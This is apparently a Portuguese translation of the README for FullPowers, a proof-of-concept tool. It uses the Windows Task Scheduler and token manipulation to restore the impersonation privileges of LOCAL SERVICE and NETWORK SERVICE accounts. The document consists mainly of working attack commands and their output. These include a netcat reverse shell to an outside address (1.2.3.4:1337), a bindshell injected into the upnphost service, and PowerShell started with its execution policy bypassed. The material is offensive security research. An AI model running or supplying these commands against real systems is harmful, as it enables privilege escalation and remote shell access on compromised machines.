
Recuperar o conjunto de privilégios padrão de uma conta LOCAL/NETWORK SERVICE
FullPowers é uma ferramenta de Prova de Conceito que fiz para recuperar automaticamente o conjunto de privilégios padrão de uma conta de serviço, incluindo SeAssignPrimaryToken e SeImpersonate.
No Windows, alguns serviços executados como LOCAL SERVICE ou NETWORK SERVICE são configurados para executar com um conjunto restrito de privilégios. Portanto, mesmo que o serviço seja comprometido, você não obterá os privilégios dourados de impersonação e a escalada de privilégios para LOCAL SYSTEM deve ser mais complicada. No entanto, descobri que, quando você cria uma tarefa agendada, o novo processo criado pelo Serviço de Agendador de Tarefas tem todos os privilégios padrão da conta de usuário associada (exceto SeImpersonate). Portanto, com algumas manipulações de token, você pode gerar um novo processo com todos os privilégios ausentes.
Para mais informações: https://itm4n.github.io/localservice-privileges/
⚠️ Esta ferramenta deve ser executada apenas como LOCAL SERVICE ou NETWORK SERVICE.
Você pode verificar a mensagem de ajuda usando a opção -h.
c:\TOOLS>FullPowers -h
FullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account.
For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments:
-v Verbose mode, used for debugging essentially
-c <CMD> Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
-x Try to get the extended set of privileges (might fail with NETWORK SERVICE)
-z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK
Você quer testar esta PoC você mesmo? Isso é ótimo! Aqui estão algumas instruções simples para começar.
A ideia geral é iniciar um bindshell a partir do processo de um serviço existente, conectar-se a ele e depois executar o executável.
upnphost.C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Você deve agora ter um shell com privilégios de impersonação!